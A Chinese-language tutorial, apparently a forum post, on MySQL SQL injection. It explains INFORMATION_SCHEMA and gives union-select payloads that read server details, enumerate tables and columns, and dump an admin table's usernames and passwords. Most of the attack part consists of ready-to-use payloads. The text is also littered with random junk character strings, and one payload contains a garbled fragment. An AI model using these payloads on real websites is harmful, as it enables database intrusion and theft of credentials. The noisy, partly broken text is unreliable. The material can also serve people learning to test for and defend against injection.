本文介绍MYSQL盲注的一些语句和方法# h& P: W0 [ r
+ z5 U& ^3 w9 ]4 v$ W学习盲注前先了解下 IFORMATION_SCHEMA 库
# u: ~ `: |5 u) Q; n- v- q( k! N# k, c2 Q
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有$ _6 D% `& N/ q8 n: c, i7 P
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。4 b; S8 x" Z! e
1.得到所有数据库名:6 g! k9 I* z# t; x5 `
|SCHEMATA ->存储数据库名的表* P# d }; x/ J) M
|---字段:SCHEMA_NAME ->数据库名称, N; [: e5 d z
9 M1 s; V& j x4 Q1 K|TABLES ->存储表名
) Z. U! ]4 E/ c! }' z|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
9 {- `; D+ u0 B; _$ v|---字段:TABLE_NAME ->存储表的表名6 Z/ d/ y; ?" c' D1 }7 o
& \8 t+ r; F$ d& j5 i. B7 w2 p
|COLUMNS ->存储的字段名表) R% H G& }0 X4 G: Z+ ~
|---字段:TABLE_SCHEMA ->该字段所属数据库名
) W' U4 \' @% I3 l: o|---字段:TABLE_NAME ->存储所属表的名称
/ C$ w- h9 |/ a) U! M. D8 x% s& S0 r- \# w/ P$ Q. s# W `
|---字段:COLUMN_NAME ->该字段的名称: U; |4 z1 l) q/ }2 q
v( t0 j+ ]* l* t9 D0 Y) z
: p& F7 o$ f7 c/ E& N/ O! B- r" E* m
###########################################################################
; `: R: B9 w: w3 t/ `! ~* o& q3 v3 Z' h2 r5 K9 K: P. O
0x001 获取系统信息:
A3 j; k' G; I& w: j9 `2 x- m' s3 [- K
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*3 i% s5 h) Q$ R$ L5 H/ d
R) K6 {6 d/ s4 i& c3 d3 |/ D9 C/*
' C+ O) j( N' n% N/ Y$ M+ u" V6 W& K ?
@@global.version_compile_os 获取系统版本
; n$ T& ~6 I9 |+ j- S" F. o$ |6 M/ b: ?9 `# e
@@datadir 数据库路径: B9 r( g) Q' ?* T+ G! g' K6 z
database() 当前数据库名称" j; _+ _, ]8 e& @" \
0x3c62723e 换行HEX值2 a, j7 I* K, T
( l3 i& K) V: k) @/ O4 e
*/1 @& a4 n7 }! ~3 e F( V' C
( F: D4 g+ e- \ G7 N8 A" D; r 4 H* ]3 q8 Y7 T, T+ ~
1 `- ~+ }) Q' }0 s' E4 l
####################################################################### d) ?# B$ c7 z9 E: y& d3 `; f/ z
; z- W3 [. A9 L; a0x002 获取表名
" _# s) ~8 e+ d
+ j% K5 F+ k( ]5 [! Yunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
7 r! j: B. L7 t# B) y7 N
+ U" `1 l+ `4 x7 n4 t0 R" [# W1 M 2 y0 B6 l& D6 e/ t
$ }: Z- ?9 L. k* n# q
/*6 L2 ~! Z2 c% m9 L" j4 o
- L. W' O' ^- x' L8 |5 s0x67617264656e 为当前数据库名# Z; E2 P8 l. P( Z; N* K2 }
4 Z: R9 |5 G# A9 t: |) Q8 j/ ]group_concat(table_name) 使用group_concat函数 一步获得该库所有表名2 U* F( @" T4 Y2 T
! @" ~9 a7 W- h: m6 q*/, c" k4 o3 l6 I9 [2 w4 H7 K
$ E: o/ g" B O- U: D
######################################################################
J2 [/ ~" _4 G2 ?9 e. G
/ ]. O" _8 ?. {+ T3 i$ G A n V& p9 m4 |0 t
8 _: |6 Q; m: C/ g4 J, o' @ E0x003 获取字段
; P) `2 x9 l' ~" ?
. y2 u) [% j, b& d% k, q; `$ nunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*( W* p3 ]6 [- o. ]2 E- [* \6 s
. k, x. [+ @; }) B* |/*; a( I; X' m: S, A1 _2 |/ J
: A( n+ U ]1 }7 w+ u6 U
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段! r5 L" w! ~( W5 p( ]
- Z, a, ]' Q* Y+ O% I* K0x61646d696e ->选择一个表
* h" n: S. Y& I$ W4 S; P! k* N" O" p( v* J/ m% h' Q
0x67617264656e ->数据库名" @) n7 s) k7 T7 b1 k% ^
* ^1 `3 C! f$ c$ r% q% i
*/
/ B R B: ~# A- \
, B" _0 m; g! R* O2 x4 s#####################################################################
6 }: Q l$ S7 X7 e; r& N5 }+ c+ u; N$ C4 ~$ I: V: ?' T
8 y1 A4 e1 V8 }, z1 o0 N. {4 v7 ~) L: o n0 x1 i/ v. K; }
0x004 获取数据
6 }5 X" [4 ^: _) m& a9 x
^& z# x4 G' z6 N( `3 g4 Runion select 1,2,3
& ^) K" w; z6 D5 o" |) X# L,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin4 }7 A7 k5 ~( `7 }' ~. N2 `, ~7 \
: j% B0 O$ K) b7 B8 T Z/ cunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin4 q9 K. d2 _2 e" @) u
( ]% J" j( i7 {0 @# ^
0 X# F0 Q7 P7 C ^ T7 t- A# X( [1 c1 d X4 R6 ?4 T ]& w, o
/*& s t0 r* J0 f) u3 e+ E2 p' b
7 F2 J5 t3 i7 a4 h
0x3c62723e 换行符号HEX编码
+ [) Q7 w4 M" z3 N% E' v7 y1 \; B2 ^; c
group_concat 同时获得该字段所有数据
" `7 J9 r$ {4 S; c
& l9 o9 e/ [ a+ X% ?*/# k* H4 m* D2 `8 p9 }
) W1 o( t2 @* @( o- j z |